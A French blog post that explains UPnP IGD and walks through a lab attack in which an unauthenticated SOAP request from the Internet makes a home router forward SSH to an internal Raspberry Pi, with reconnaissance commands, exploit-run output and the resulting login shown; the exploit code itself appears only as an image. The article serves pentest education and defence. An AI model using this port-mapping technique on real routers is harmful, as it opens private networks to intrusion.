Présentation d'UPnP
UPnP (Plug and Play) est un standard accessible publiquement ici.
UPnP est composé d'une suite de protocoles destinée à simplifier la configuration et l’interopérabilité des équipements pour l’utilisateur. UPnP est très présent dans les équipements grand public comme les Box Internet, NAS, Smart TV, Set-Top-Box et autres lecteur Blu-Ray connectés.
UPnP IGD
Les modems/routeurs (Box) implémentent plusieurs profils UPnP dont IGD (Internet Gateway Device). UPnP IGD offre des mécanismes de RPC (Remote Procedure Call) pour la configuration ou l’interrogation transparente des Box sans authentification.Les fonctions couramment implantées dans les Box sont l’interrogation de l’adresse IP publique, quelques métriques d'usage, la redirection de ports entrants (pour les jeux vidéo, les applications multimédia et la téléphonie comme Skype). La fonction de gestion de la configuration des serveurs DNS n’est heureusement jamais implémentée. Si c'était le cas, il serait possible de modifier le serveur DNS de tous les équipements derrière la Box, exposant ceux-ci au phishing ou à la fraude au clic.
Ainsi, UPnP IGD permet d'effectuer de la redirection de port (ou port mapping), sans authentification ou autorisation et de manière transparente pour l'usager. En clair, c'est un protocole intéressant pour les pirates pour faire de la NAT traversal depuis Internet.
Le fonctionnement d'UPnP
UPnP est composé d’une suite de protocoles en unicast et multicast, utilisant TCP et UDP pour véhiculer des messages HTTP avec des méthodes spécifiques. Le schéma ci-dessous illustre les cinématiques des différentes phases d'UPnP.
 |
| Les phases et protocoles UPnP |
Découverte et annonces, le protocole SSDP
Le protocole de découverte de services, nommé SSDP (Simple Service Discovery), effectue des annonces périodiques NOTIFY ou des requêtes de découvertes M-SEARCH.
Ces annonces et requêtes sont limitées au LAN et sont basées sur des échanges HTTPMU (HTTP sur UDP en multicast). Le groupe multicast utilisé est 239.255.255.250 et le port UDP est 1900.
La réponse à une requête M-SEARCH est basée sur HTTPU (HTTP sur UDP en unicast).
Le header Location de l’entête HTTP SSDP contient l’URL décrivant le service distant au format XML.
La description de services
La phase de description de service fait usage de requête GET HTTP classique pour informer sur les services implémentés par le ‘Device’ (serveur). La partie cliente est appelée ‘Control Point’ dans le jargon UPnP.
Un tag « SCPDURL » dans un format XML décrit le path nécessaire pour l’invocation de procédure à distance.
L'invocation de services
L’appel de fonctions à distance est la phase « Control ». Elle est exécutée via une requête POST HTTP sur TCP au format SOAP XML. Un header spécifique SOAPaction doit être présent dans l'entête HTTP et définir la fonction distante appeléé (ex: AddPortMapping).
La notification
Une gestion de notification d’événements existe mais elle ne sera pas mis en oeuvre ici. Elle sert à enregistrer des Control-Points désirant recevoir certains types de notifications lors de la survenance d'événements.
Passons à la pratique d'UPnP
Nous allons regarder de plus près comment interagir avec UPnP.
Ecoute d'annonce SSDP et recherche de services
Une écoute passive du réseau dans le LAN privé permet de voir les annonces de services SSDP NOTIFY en action. En utilisant Wireshark avec un filtre UDP port 1900, on capture les messages SSDP :
$ sudo tshark -i eth0 udp port 1900
Running as user "root" and group "root". This could be dangerous.
Capturing on 'eth0'
0.000000 192.168.0.1 -> 239.255.255.250 SSDP 342 NOTIFY * HTTP/1.1
0.000819 192.168.0.1 -> 239.255.255.250 SSDP 398 NOTIFY * HTTP/1.1
0.001247 192.168.0.1 -> 239.255.255.250 SSDP 326 NOTIFY * HTTP/1.1
0.001729 192.168.0.1 -> 239.255.255.250 SSDP 318 NOTIFY * HTTP/1.1
L’émission d’une requête M-SEARCH en SSDP permet de connaître l’URL de description des services. Le programme miranda est utilisé à cette fin.
$ miranda
upnp> msearch
Entering discovery mode for 'upnp:rootdevice', Ctl+C to stop...
****************************************************************
SSDP reply message from 192.168.0.1:80
XML file is located at http://192.168.0.1:80/RootDevice.xml
Device is running UPnP/1.0 UPnP/1.0 UPnP-Device-Host/1.0
****************************************************************
****************************************************************
SSDP reply message from 192.168.0.1:1900
XML file is located at http://192.168.0.1:1900/WFADevice.xml
Device is running POSIX UPnP/1.0 UPnP Stack/6.37.14.87
****************************************************************
^CDiscover mode halted...
upnp> host list
[0] 192.168.0.1:80
[1] 192.168.0.1:1900
Une interrogation de la Box est ciblée pour obtenir l’URL de la description des services du profil UPnP IGD.
upnp> host get 0
Requesting device and service info for 192.168.0.1:80 (this could take a few seconds)...
Host data enumeration complete!
upnp> host info 0
xmlFile : http://192.168.0.1:80/RootDevice.xml
name : 192.168.0.1:80
proto : http://
serverType : None
upnpServer : UPnP/1.0 UPnP/1.0 UPnP-Device-Host/1.0
dataComplete : True
deviceList : {}
Nous cherchons les tags « SCPDURL » du fichier RootDevice.xml qui contiennent les paths des services implémentés.
$ curl http://192.168.0.1:80/RootDevice.xml | grep "SCPDURL"
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2880 100 2880 0 0 29186 0 --:--:-- --:--:-- --:--:-- 29690
<SCPDURL>/Layer3Forwarding.xml</SCPDURL>
<SCPDURL>/WANCommonInterfaceConfig.xml</SCPDURL>
<SCPDURL>/WANIPConnection.xml</SCPDURL>
Nous possédons maintenant tous les éléments nécessaires pour monter une attaque contre cette implémentation UPnP IGD.
L'implémentation est elle robuste au NAT traversal ?
Bien que le standard UPnP ne soit pas précis concernant les règles applicables au Port Mapping (redirection de port), les bonnes pratiques exigent que seule une adresse du LAN interne puisse demander une redirection entrante et uniquement pour sa propre adresse.Remarque : Une requête demandant une redirection pour autrui devrait être refusée. En d’autres termes, seules les redirections vers le LAN privé sur l’interface interne (ici 192.168.0.0/24) doivent être autorisées. Aucune requête reçue sur l’interface externe, quelle que soit l’adresse source, ne doit être servie. Les redirections sont appliquées pour l’adresse du demandeur uniquement, par pour un tiers. Ces règles plus restrictives sont conformes à l’usage fait par les applications utilisant le PortMapping IGD (téléphonie, jeux, tunnel, etc.).
Tentative d'exploit depuis Internet
Les utilitaires UPnP disponibles publiquement ne permettent pas d’émettre uniquement la requête POST pour solliciter le service à distance. Ces programmes fonctionnent depuis le LAN privé car ils mettent en œuvre SSDP (i.e. multicast) préalablement pour découvrir tous les paramètres dynamiquement. Par respect des bonnes pratiques, ils n’effectuent pas (plus) de requêtes de redirection pour une adresse tierce.Un code d’exploitation en python a été développé (voir en fin d'article) pour effectuer des redirections dérogeant aux règles des bonnes pratiques. Ce code n’exécute que la requête POST de la phase « Control » en SOAP XML avec les paramètres adéquats.
Une série de tests est effectuée pour des requêtes émises depuis l’interface interne pour des redirections d’autres adresses. La machine RPi joue le rôle de la victime dans le LAN (192.168.0.13). La machine Kali joue le rôle de l'attaquant est émet une requête UPnP depuis Internet.
Kali demande une redirection du port TCP 22 pour l'adresse de RPi en adressant la requête POST à l'adresse publique xx.xx.xx.xx:8080.
pascal@Kali:~$ upnp-sploit.py
[*] POST to
http://XX.XX.XX.XX:8080/WANIPConnection
[+] Success:
adding TCP port from :22 -> 192.168.0.13:22
En listant les redirections de ports avec le client UPnP upnpc (de miniupnp) depuis le LAN privé, nous constatons que a règle de redirection est bien configurée :
pascal@Kali:~$ upnpc -l
upnpc : miniupnpc
library test client. (c) 2006-2010 Thomas Bernard
Go to
http://miniupnp.free.fr/ or http://miniupnp.tuxfamily.org/
for more
information.
List of UPNP
devices found on the network :
desc: http://192.168.0.1:80/RootDevice.xml
st:
urn:schemas-upnp-org:device:InternetGatewayDevice:1
Found valid IGD :
http://192.168.0.1:80/WANIPConnection
Local LAN ip
address : 192.168.0.11
Connection Type :
IP_Routed
Status :
Connected, uptime=506520s, LastConnectionError : ERROR_NONE
Time started : Fri Apr 10 15:42:08 2015
MaxBitRateDown :
100000000 bps MaxBitRateUp 100000000
bps
ExternalIPAddress
= XX.XX.XX.XX
0
TCP 22->192.168.0.13:22 'Hack the rpi' ''
GetGenericPortMappingEntry()
returned 713 (SpecifiedArrayIndexInvalid)
Dans la réponse, l'adresse publique a été anonymisée. upnpc effectue des requêtes pour tous les services à distance implémentés (connection type, status, uptime, last connection error, métrique d'usage, adresse IP externe et listage des port mapping).
Une tentative de connexion en SSH sur l’interface publique XX.XX.XX.XX de la Box redirige effectivement le flux vers le système RPi
dans le LAN privé conformément à la règle de redirection.
$ ssh pi@xx.xx.xx.xx
pi@xx.xx.xx.xx's
password:
Linux rpi
3.18.10+ #774 PREEMPT Wed Mar 25 13:58:34 GMT 2015 armv6l
The programs
included with the Debian GNU/Linux system are free software;
the exact
distribution terms for each program are described in the
individual files
in /usr/share/doc/*/copyright.
Debian GNU/Linux
comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by
applicable law.
Last login: Thu
Apr 16 09:27:41 2015 from xx-xx-xx-xx.rev.domain.fr
pi@rpi ~ $ ifconfig |grep
192.168
inet adr:192.168.0.13 Bcast:192.168.0.255 Masque:255.255.255.0
La redirection a bien été appliquée et exécutée ! La connexion en SSH vers l'IP publique de la Box a bien été redirigée vers la machine RPi dans le LAN privé.
L’acceptation de commandes de redirection pour une adresse tierce est critique et doit être absolument proscrite car UPnP IGD ne requiert aucune authentification. Dans la même veine, l'acceptation d'une requête venant de l'interface publique doit aussi être refusée. De telles commandes permettent de traverser les règles de firewall et exposent ainsi les systèmes privés depuis Internet.
Redirection de l'interface de management Web et proxy ouvert
Une interface Web de management est disponible uniquement depuis le LAN interne de la Box sur le port 80. Une tentative de redirection vers d'un port externe, par exemple 8000, vers le port interne 80 n'a pas fonctionné sur ce modèle de Box. Si cela avait été le cas, alors l'interface de management aurait été accessible depuis Internet avec l'authentification par défaut (bien connu pour cette Box).
Dans le même esprit, une tentative de redirection d'une adresse publique vers une autre adresse publique n'a pas fonctionné. Cela aurait fourni un proxy ouvert vers un site publique spécifique permettant de masquer l'adresse d'origine du pirate lors d'une attaque. C'est l'adresse du propriétaire de la Box agissant en proxy qui serait vue par la victime de l'attaque.
Conclusion
La qualité des implémentations UPnP IGD des modems routeurs est très variable. Certaines ne sont pas vulnérables quand d'autres sont ouvertes directement depuis Internet.
UPnP est peu connu ou maîtrisé par les pentesteurs. C'est regrettable car le monde de l'entreprise est concerné. Par exemple, les imprimantes utilisent aussi UPnP. De surcroît, de nouveau profil voit le jour comme c'est le cas pour la domotique, ouvrant ainsi la voie à de nouveaux vecteurs d'attaque.
Code de l'exploit
 |
| Code python upnp_sploit.py |
